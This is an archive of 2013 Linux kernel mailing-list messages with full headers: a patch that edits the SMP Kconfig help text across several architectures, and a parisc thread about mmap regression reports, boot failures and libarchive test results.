Original-Received: from marvin.linux-mips.org ([78.24.191.183] helo=git.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1VuomS-00038f-H9
	for sgi-linux-mips@gmane.org; Sun, 22 Dec 2013 20:33:40 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:59779 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S6815753Ab3LVTdedCWOQ (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Sun, 22 Dec 2013 20:33:34 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Sun, 22 Dec 2013 20:33:19 +0100 (CET)
Original-Received: from mail-wg0-f43.google.com ([74.125.82.43]:56144 "EHLO
        mail-wg0-f43.google.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S6817090Ab3LVTdQEPJt6 (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Sun, 22 Dec 2013 20:33:16 +0100
Original-Received: by mail-wg0-f43.google.com with SMTP id k14so4292466wgh.10
        for <linux-mips@linux-mips.org>; Sun, 22 Dec 2013 11:33:10 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:mime-version
         :content-type:content-disposition:user-agent;
        bh=KuzGcwZDhnKsPn7GMqzE3G15qaz2fAD7pTHvDURn3ms=;
        b=GKx5lMDv0NEPMK0IhSJZqQCH/Hjq66kv5OCsV++fTQgBwuCYmN+JVGC2nSGjyA0uVF
         jIp5RXzQ+pohIZF14GlfQoM2/LM83KXdVBUviY/XCfx9xIG0Fkjw75wdCpUUgd2J+WIq
         FcB2eeBpAPR5CbBE48IJC9Ku507/qVlRRlkjdFTHBGmbQVIwCJasC3o8DTsZYFKLowYR
         g5krBmXSlJrD8ggI4f99X/iTQVAAzWdOSD+vAWcrX67syN7KDJMqwVVV+fCPg6OP80Id
         ezoEgm+GJhNXuBAChaVb8HkGzEBBZj+FgoLDHNKaFPhohv1xd4w0yF7yQ4BvwktgSViq
         Nong==
X-Gm-Message-State: ALoCoQmoP2mSkO+T9zF+lv1Ke8vThXgd6Q3sKGRoCczEDtag8vu5TVfjNlgrgLo4W2TaiCt5b6MU
X-Received: by 10.194.219.1 with SMTP id pk1mr15528515wjc.36.1387740790117;
        Sun, 22 Dec 2013 11:33:10 -0800 (PST)
Original-Received: from sylph (94.197.120.71.threembb.co.uk. [94.197.120.71])
        by mx.google.com with ESMTPSA id hk5sm8140934wjb.0.2013.12.22.11.33.06
        for <multiple recipients>
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Sun, 22 Dec 2013 11:33:09 -0800 (PST)
Content-Disposition: inline
User-Agent: Mutt/1.5.22 (2013-10-16)
X-archive-position: 38799
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: psquid@psquid.net
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:39939 gmane.linux.kernel:1619305 gmane.linux.ports.alpha:2198 gmane.linux.ports.arm.kernel:290145 gmane.linux.ports.parisc:5559 gmane.linux.ports.sh.devel:30355
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/39939>

I've removed a reference to "most personal computers" being singleprocessor
machines in multiple arches' config help, and also brought the arch/arm spacing
for "singleprocessor" (vs. "single processor" used there originally) in line
with other arches that had that text.

The diff is included below, and cleanly applies and builds on my system. I have
not tested on other systems yet since a documentation fix shouldn't fail to
build inconsistently, but if that's no excuse, I'll be happy to test further
when I can.


diff -uprN -X linux-vanilla/Documentation/dontdiff linux-vanilla/arch/alpha/Kconfig linux/arch/alpha/Kconfig
--- linux-vanilla/arch/alpha/Kconfig	2013-12-22 18:03:11.881499508 +0000
+++ linux/arch/alpha/Kconfig	2013-12-22 17:58:31.448505765 +0000
@@ -539,8 +539,8 @@ config SMP
 	depends on ALPHA_SABLE || ALPHA_LYNX || ALPHA_RAWHIDE || ALPHA_DP264 || ALPHA_WILDFIRE || ALPHA_TITAN || ALPHA_GENERIC || ALPHA_SHARK || ALPHA_MARVEL
 	---help---
 	  This enables support for systems with more than one CPU. If you have
-	  a system with only one CPU, like most personal computers, say N. If
-	  you have a system with more than one CPU, say Y.
+	  a system with only one CPU, say N. If you have a system with more
+	  than one CPU, say Y.
 
 	  If you say N here, the kernel will run on single and multiprocessor
 	  machines, but will use only one CPU of a multiprocessor machine. If
diff -uprN -X linux-vanilla/Documentation/dontdiff linux-vanilla/arch/arc/Kconfig linux/arch/arc/Kconfig
--- linux-vanilla/arch/arc/Kconfig	2013-12-22 18:03:11.933499507 +0000
+++ linux/arch/arc/Kconfig	2013-12-22 17:58:24.412505922 +0000
@@ -128,8 +128,8 @@ config SMP
 	default n
 	help
 	  This enables support for systems with more than one CPU. If you have
-	  a system with only one CPU, like most personal computers, say N. If
-	  you have a system with more than one CPU, say Y.
+	  a system with only one CPU, say N. If you have a system with more
+	  than one CPU, say Y.
 
 if SMP
 
diff -uprN -X linux-vanilla/Documentation/dontdiff linux-vanilla/arch/arm/Kconfig linux/arch/arm/Kconfig
--- linux-vanilla/arch/arm/Kconfig	2013-12-22 18:03:11.956499506 +0000
+++ linux/arch/arm/Kconfig	2013-12-22 17:56:31.187508449 +0000
@@ -1435,14 +1435,14 @@ config SMP
 	depends on MMU || ARM_MPU
 	help
 	  This enables support for systems with more than one CPU. If you have
-	  a system with only one CPU, like most personal computers, say N. If
-	  you have a system with more than one CPU, say Y.
+	  a system with only one CPU, say N. If you have a system with more
+	  than one CPU, say Y.
 
 	  If you say N here, the kernel will run on single and multiprocessor
 	  machines, but will use only one CPU of a multiprocessor machine. If
-	  you say Y here, the kernel will run on many, but not all, single
-	  processor machines. On a single processor machine, the kernel will
-	  run faster if you say N here.
+	  you say Y here, the kernel will run on many, but not all,
+	  singleprocessor machines. On a singleprocessor machine, the kernel
+	  will run faster if you say N here.
 
 	  See also <file:Documentation/x86/i386/IO-APIC.txt>,
 	  <file:Documentation/nmi_watchdog.txt> and the SMP-HOWTO available at
diff -uprN -X linux-vanilla/Documentation/dontdiff linux-vanilla/arch/m32r/Kconfig linux/arch/m32r/Kconfig
--- linux-vanilla/arch/m32r/Kconfig	2013-12-22 18:03:13.100499481 +0000
+++ linux/arch/m32r/Kconfig	2013-12-22 17:58:27.485505854 +0000
@@ -277,8 +277,8 @@ config SMP
 	bool "Symmetric multi-processing support"
 	---help---
 	  This enables support for systems with more than one CPU. If you have
-	  a system with only one CPU, like most personal computers, say N. If
-	  you have a system with more than one CPU, say Y.
+	  a system with only one CPU, say N. If you have a system with more
+	  than one CPU, say Y.
 
 	  If you say N here, the kernel will run on single and multiprocessor
 	  machines, but will use only one CPU of a multiprocessor machine. If
diff -uprN -X linux-vanilla/Documentation/dontdiff linux-vanilla/arch/mips/Kconfig linux/arch/mips/Kconfig
--- linux-vanilla/arch/mips/Kconfig	2013-12-22 18:03:13.290499477 +0000
+++ linux/arch/mips/Kconfig	2013-12-22 17:58:28.576505829 +0000
@@ -2128,8 +2128,8 @@ config SMP
 	depends on SYS_SUPPORTS_SMP
 	help
 	  This enables support for systems with more than one CPU. If you have
-	  a system with only one CPU, like most personal computers, say N. If
-	  you have a system with more than one CPU, say Y.
+	  a system with only one CPU, say N. If you have a system with more
+	  than one CPU, say Y.
 
 	  If you say N here, the kernel will run on single and multiprocessor
 	  machines, but will use only one CPU of a multiprocessor machine. If
diff -uprN -X linux-vanilla/Documentation/dontdiff linux-vanilla/arch/mn10300/Kconfig linux/arch/mn10300/Kconfig
--- linux-vanilla/arch/mn10300/Kconfig	2013-12-22 18:03:13.598499470 +0000
+++ linux/arch/mn10300/Kconfig	2013-12-22 17:58:26.460505877 +0000
@@ -184,8 +184,8 @@ config SMP
 	depends on MN10300_PROC_MN2WS0038 || MN10300_PROC_MN2WS0050
 	---help---
 	  This enables support for systems with more than one CPU. If you have
-	  a system with only one CPU, like most personal computers, say N. If
-	  you have a system with more than one CPU, say Y.
+	  a system with only one CPU, say N. If you have a system with more
+	  than one CPU, say Y.
 
 	  If you say N here, the kernel will run on single and multiprocessor
 	  machines, but will use only one CPU of a multiprocessor machine. If
diff -uprN -X linux-vanilla/Documentation/dontdiff linux-vanilla/arch/parisc/Kconfig linux/arch/parisc/Kconfig
--- linux-vanilla/arch/parisc/Kconfig	2013-12-22 18:03:13.682499468 +0000
+++ linux/arch/parisc/Kconfig	2013-12-22 17:57:38.097506956 +0000
@@ -229,8 +229,8 @@ config SMP
 	bool "Symmetric multi-processing support"
 	---help---
 	  This enables support for systems with more than one CPU. If you have
-	  a system with only one CPU, like most personal computers, say N. If
-	  you have a system with more than one CPU, say Y.
+	  a system with only one CPU, say N. If you have a system with more
+	  than one CPU, say Y.
 
 	  If you say N here, the kernel will run on single and multiprocessor
 	  machines, but will use only one CPU of a multiprocessor machine. If
diff -uprN -X linux-vanilla/Documentation/dontdiff linux-vanilla/arch/s390/Kconfig linux/arch/s390/Kconfig
--- linux-vanilla/arch/s390/Kconfig	2013-12-22 18:03:14.077499459 +0000
+++ linux/arch/s390/Kconfig	2013-12-22 17:58:29.631505806 +0000
@@ -332,8 +332,8 @@ config SMP
 	prompt "Symmetric multi-processing support"
 	---help---
 	  This enables support for systems with more than one CPU. If you have
-	  a system with only one CPU, like most personal computers, say N. If
-	  you have a system with more than one CPU, say Y.
+	  a system with only one CPU, say N. If you have a system with more
+	  than one CPU, say Y.
 
 	  If you say N here, the kernel will run on single and multiprocessor
 	  machines, but will use only one CPU of a multiprocessor machine. If
diff -uprN -X linux-vanilla/Documentation/dontdiff linux-vanilla/arch/sh/Kconfig linux/arch/sh/Kconfig
--- linux-vanilla/arch/sh/Kconfig	2013-12-22 18:03:14.188499457 +0000
+++ linux/arch/sh/Kconfig	2013-12-22 17:58:25.470505899 +0000
@@ -714,8 +714,8 @@ config SMP
 	depends on SYS_SUPPORTS_SMP
 	---help---
 	  This enables support for systems with more than one CPU. If you have
-	  a system with only one CPU, like most personal computers, say N. If
-	  you have a system with more than one CPU, say Y.
+	  a system with only one CPU, say N. If you have a system with more
+	  than one CPU, say Y.
 
 	  If you say N here, the kernel will run on single and multiprocessor
 	  machines, but will use only one CPU of a multiprocessor machine. If
diff -uprN -X linux-vanilla/Documentation/dontdiff linux-vanilla/arch/x86/Kconfig linux/arch/x86/Kconfig
--- linux-vanilla/arch/x86/Kconfig	2013-12-22 18:03:14.584499448 +0000
+++ linux/arch/x86/Kconfig	2013-12-22 17:58:30.711505782 +0000
@@ -278,8 +278,8 @@ config SMP
 	bool "Symmetric multi-processing support"
 	---help---
 	  This enables support for systems with more than one CPU. If you have
-	  a system with only one CPU, like most personal computers, say N. If
-	  you have a system with more than one CPU, say Y.
+	  a system with only one CPU, say N. If you have a system with more
+	  than one CPU, say Y.
 
 	  If you say N here, the kernel will run on single and multiprocessor
 	  machines, but will use only one CPU of a multiprocessor machine. If
Signed-off-by: Robert Graffham <psquid@psquid.net>



From - Thu Nov 08 21:10:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaro Koskinen <aaro.koskinen@iki.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped address
Date: Mon, 23 Dec 2013 22:26:11 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <20131223202611.GA3570@blackmetal.musicnaut.iki.fi>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi>
 <201312191619.05005.vapier@gentoo.org>
 <BLU0-SMTP458FC9FB0E8F5D98CB7B8897C50@phx.gbl>
 <201312191802.39169.vapier@gentoo.org>
 <52B4C03B.2000805@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1387830379 22479 80.91.229.3 (23 Dec 2013 20:26:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 23 Dec 2013 20:26:19 +0000 (UTC)
Cc: Mike Frysinger <vapier@gentoo.org>,
	John David Anglin <dave.anglin@bell.net>, carlos@redhat.com,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 23 21:26:24 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VvC50-0004AN-U6
	for glpp-linux-parisc@plane.gmane.org; Mon, 23 Dec 2013 21:26:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757638Ab3LWU0V (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 23 Dec 2013 15:26:21 -0500
Original-Received: from filtteri5.pp.htv.fi ([213.243.153.188]:56349 "EHLO
	filtteri5.pp.htv.fi" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752389Ab3LWU0U (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 23 Dec 2013 15:26:20 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by filtteri5.pp.htv.fi (Postfix) with ESMTP id 763F65A70F8;
	Mon, 23 Dec 2013 22:26:18 +0200 (EET)
X-Virus-Scanned: Debian amavisd-new at pp.htv.fi
Original-Received: from smtp5.welho.com ([213.243.153.39])
	by localhost (filtteri5.pp.htv.fi [213.243.153.188]) (amavisd-new, port 10024)
	with ESMTP id nN9UsCif8nJJ; Mon, 23 Dec 2013 22:26:13 +0200 (EET)
Original-Received: from musicnaut.iki.fi (91-145-91-118.bb.dnainternet.fi [91.145.91.118])
	by smtp5.welho.com (Postfix) with SMTP id 9FFBF5BC003;
	Mon, 23 Dec 2013 22:26:13 +0200 (EET)
Original-Received: by musicnaut.iki.fi (sSMTP sendmail emulation); Mon, 23 Dec 2013 22:26:11 +0200
Content-Disposition: inline
In-Reply-To: <52B4C03B.2000805@gmx.de>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5560
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5560>

Hi,

On Fri, Dec 20, 2013 at 11:10:03PM +0100, Helge Deller wrote:
> You could try my current rewrite for the mmap functions which is in my "aio_mmap_fix" branch at
> git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git
> (http://git.kernel.org/cgit/linux/kernel/git/deller/parisc-linux.git/log/?h=aio_mmap_fix)
> Pulling this branch on top of Linux head should work.
> But I think it will not solve this problem.

FWIW, I pulled this branch (aaa88432c03b) on top of 3.13-rc5 and the
system won't boot (HP C3700, 32-bit kernel). There's several stack trace
dumps during the boot; if you're interested I might be able to setup a
serial console to capture these.

A.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped address
Date: Mon, 23 Dec 2013 21:34:05 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <2859617.TAsvt0Sziu@caliban.sf-tec.de>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart3254187.qijNTdrcKR"; micalg="pgp-sha1"; protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1387831348 32425 80.91.229.3 (23 Dec 2013 20:42:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 23 Dec 2013 20:42:28 +0000 (UTC)
To: Aaro Koskinen <aaro.koskinen@iki.fi>, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 23 21:42:31 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VvCKc-0000WR-Lo
	for glpp-linux-parisc@plane.gmane.org; Mon, 23 Dec 2013 21:42:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758017Ab3LWUk6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 23 Dec 2013 15:40:58 -0500
Original-Received: from mail.sf-mail.de ([62.27.20.61]:41856 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1758016Ab3LWUk4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 23 Dec 2013 15:40:56 -0500
X-Greylist: delayed 402 seconds by postgrey-1.27 at vger.kernel.org; Mon, 23 Dec 2013 15:40:56 EST
Original-Received: (qmail 25943 invoked from network); 23 Dec 2013 20:34:13 -0000
Original-Received: from dslb-088-070-126-012.pools.arcor-ip.net ([::ffff:88.70.126.12]:33617 HELO caliban.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.25svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <aaro.koskinen@iki.fi>; Mon, 23 Dec 2013 21:34:13 +0100
User-Agent: KMail/4.11.4 (Linux/3.12.5-1.g48b587a-desktop; KDE/4.11.4; x86_64; ; )
In-Reply-To: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5561
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5561>


--nextPart3254187.qijNTdrcKR
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Am Donnerstag, 19. Dezember 2013, 21:17:51 schrieb Aaro Koskinen:
> Hi,
> 
> This commit (0576da2c08e3d332f1b0653030d28ab804585ab6) and the current
> mainline kernel (3.13-rc4) gives me the following with GLIBC 2.18:

I also suspect this patch of causing trouble. My C8000 regularly submits to 
the libarchive dashboard (http://my.cdash.org/index.php?project=libarchive). 
Since I upgraded to 3.12.5 one test (libarchive_test_compat_mac) keeps 
failing. The day after compile errors and other problems started (just browse 
through the last 2 weeks and you will see it). Then I reverted that change and 
rebootet. The compat_mac test still fails, but the other failures are gone.

Greetings,

Eike
--nextPart3254187.qijNTdrcKR
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.19 (GNU/Linux)

iEYEABECAAYFAlK4nkMACgkQXKSJPmm5/E6bEwCgmgJetiJQA0hZuhrLOcH5xDxu
PzUAn0k5reXFjzlDEG5Hgnt8LZxMCMLz
=khYS
-----END PGP SIGNATURE-----

--nextPart3254187.qijNTdrcKR--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped address
Date: Mon, 23 Dec 2013 21:39:54 -0500
Lines: 53
Approved: news@gmane.org
Message-ID: <BLU0-SMTP924554170555959730283297C00@phx.gbl>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi> <2859617.TAsvt0Sziu@caliban.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1387853116 21869 80.91.229.3 (24 Dec 2013 02:45:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 24 Dec 2013 02:45:16 +0000 (UTC)
Cc: Aaro Koskinen <aaro.koskinen@iki.fi>, linux-parisc@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 24 03:45:22 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VvHzk-0000j8-Qi
	for glpp-linux-parisc@plane.gmane.org; Tue, 24 Dec 2013 03:45:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757926Ab3LXCpU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 23 Dec 2013 21:45:20 -0500
Original-Received: from blu0-omc3-s27.blu0.hotmail.com ([65.55.116.102]:40424 "EHLO
	blu0-omc3-s27.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1757912Ab3LXCpT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 23 Dec 2013 21:45:19 -0500
X-Greylist: delayed 306 seconds by postgrey-1.27 at vger.kernel.org; Mon, 23 Dec 2013 21:45:19 EST
Original-Received: from BLU0-SMTP92 ([65.55.116.72]) by blu0-omc3-s27.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 23 Dec 2013 18:40:12 -0800
X-TMN: [iBxGmnLElOgM17lgioHxcOGoCYvV6I1N]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.171.205]) by BLU0-SMTP92.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 23 Dec 2013 18:40:11 -0800
In-Reply-To: <2859617.TAsvt0Sziu@caliban.sf-tec.de>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 24 Dec 2013 02:40:11.0455 (UTC) FILETIME=[778464F0:01CF0051]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5562
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5562>

On 23-Dec-13, at 3:34 PM, Rolf Eike Beer wrote:

> Am Donnerstag, 19. Dezember 2013, 21:17:51 schrieb Aaro Koskinen:
>> Hi,
>>
>> This commit (0576da2c08e3d332f1b0653030d28ab804585ab6) and the  
>> current
>> mainline kernel (3.13-rc4) gives me the following with GLIBC 2.18:
>
> I also suspect this patch of causing trouble. My C8000 regularly  
> submits to
> the libarchive dashboard (http://my.cdash.org/index.php?project=libarchive 
> ).
> Since I upgraded to 3.12.5 one test (libarchive_test_compat_mac) keeps
> failing. The day after compile errors and other problems started  
> (just browse
> through the last 2 weeks and you will see it). Then I reverted that  
> change and
> rebootet. The compat_mac test still fails, but the other failures  
> are gone.

The libarchive_test_compat_mac test also appears to fail on x86.  It  
didn't fail
in my 3.1.2 build with kernel change.

I believe the GLIBC 2.18 change was wrong but I don't see why it would  
cause
compile errors.  I have compiled many packages with the kernel change  
and not
seen problems that I would attribute to it.

I did a test build of libarchive and saw following fails:

Failing tests:
   20: test_archive_read_close_twice_open_fd (3 failures)
   21: test_archive_read_close_twice_open_filename (3 failures)

This was with 3.1.2.  Looking at the logs, it didn't appear that these  
were mmap issues.

We need more data.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped address
Date: Tue, 24 Dec 2013 10:32:49 +0100
Lines: 56
Approved: news@gmane.org
Message-ID: <1529138.HDr1aRmBML@caliban.sf-tec.de>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi> <2859617.TAsvt0Sziu@caliban.sf-tec.de> <BLU0-SMTP924554170555959730283297C00@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart693942785.G1J35Xp1NE"; micalg="pgp-sha1"; protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1387877577 18593 80.91.229.3 (24 Dec 2013 09:32:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 24 Dec 2013 09:32:57 +0000 (UTC)
Cc: Aaro Koskinen <aaro.koskinen@iki.fi>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 24 10:33:03 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VvOMJ-0007dr-54
	for glpp-linux-parisc@plane.gmane.org; Tue, 24 Dec 2013 10:33:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751921Ab3LXJdB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 24 Dec 2013 04:33:01 -0500
Original-Received: from mail.sf-mail.de ([62.27.20.61]:45399 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751434Ab3LXJdA (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 24 Dec 2013 04:33:00 -0500
Original-Received: (qmail 18821 invoked from network); 24 Dec 2013 09:32:57 -0000
Original-Received: from dslb-178-003-170-155.pools.arcor-ip.net ([::ffff:178.3.170.155]:34907 HELO caliban.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.25svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Tue, 24 Dec 2013 10:32:57 +0100
User-Agent: KMail/4.11.4 (Linux/3.12.5-1.g48b587a-desktop; KDE/4.11.4; x86_64; ; )
In-Reply-To: <BLU0-SMTP924554170555959730283297C00@phx.gbl>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5563
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5563>


--nextPart693942785.G1J35Xp1NE
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Am Montag, 23. Dezember 2013, 21:39:54 schrieb John David Anglin:
> On 23-Dec-13, at 3:34 PM, Rolf Eike Beer wrote:
> > Am Donnerstag, 19. Dezember 2013, 21:17:51 schrieb Aaro Koskinen:
> >> Hi,
> >> 
> >> This commit (0576da2c08e3d332f1b0653030d28ab804585ab6) and the
> >> current
> > 
> >> mainline kernel (3.13-rc4) gives me the following with GLIBC 2.18:
> > I also suspect this patch of causing trouble. My C8000 regularly
> > submits to
> > the libarchive dashboard (http://my.cdash.org/index.php?project=libarchive
> > ).
> > Since I upgraded to 3.12.5 one test (libarchive_test_compat_mac) keeps
> > failing. The day after compile errors and other problems started
> > (just browse
> > through the last 2 weeks and you will see it). Then I reverted that
> > change and
> > rebootet. The compat_mac test still fails, but the other failures
> > are gone.
> 
> The libarchive_test_compat_mac test also appears to fail on x86.  It
> didn't fail
> in my 3.1.2 build with kernel change.
> 
> I believe the GLIBC 2.18 change was wrong but I don't see why it would
> cause compile errors.

I am on glibc 2.17, I only changed the kernel.

Eike
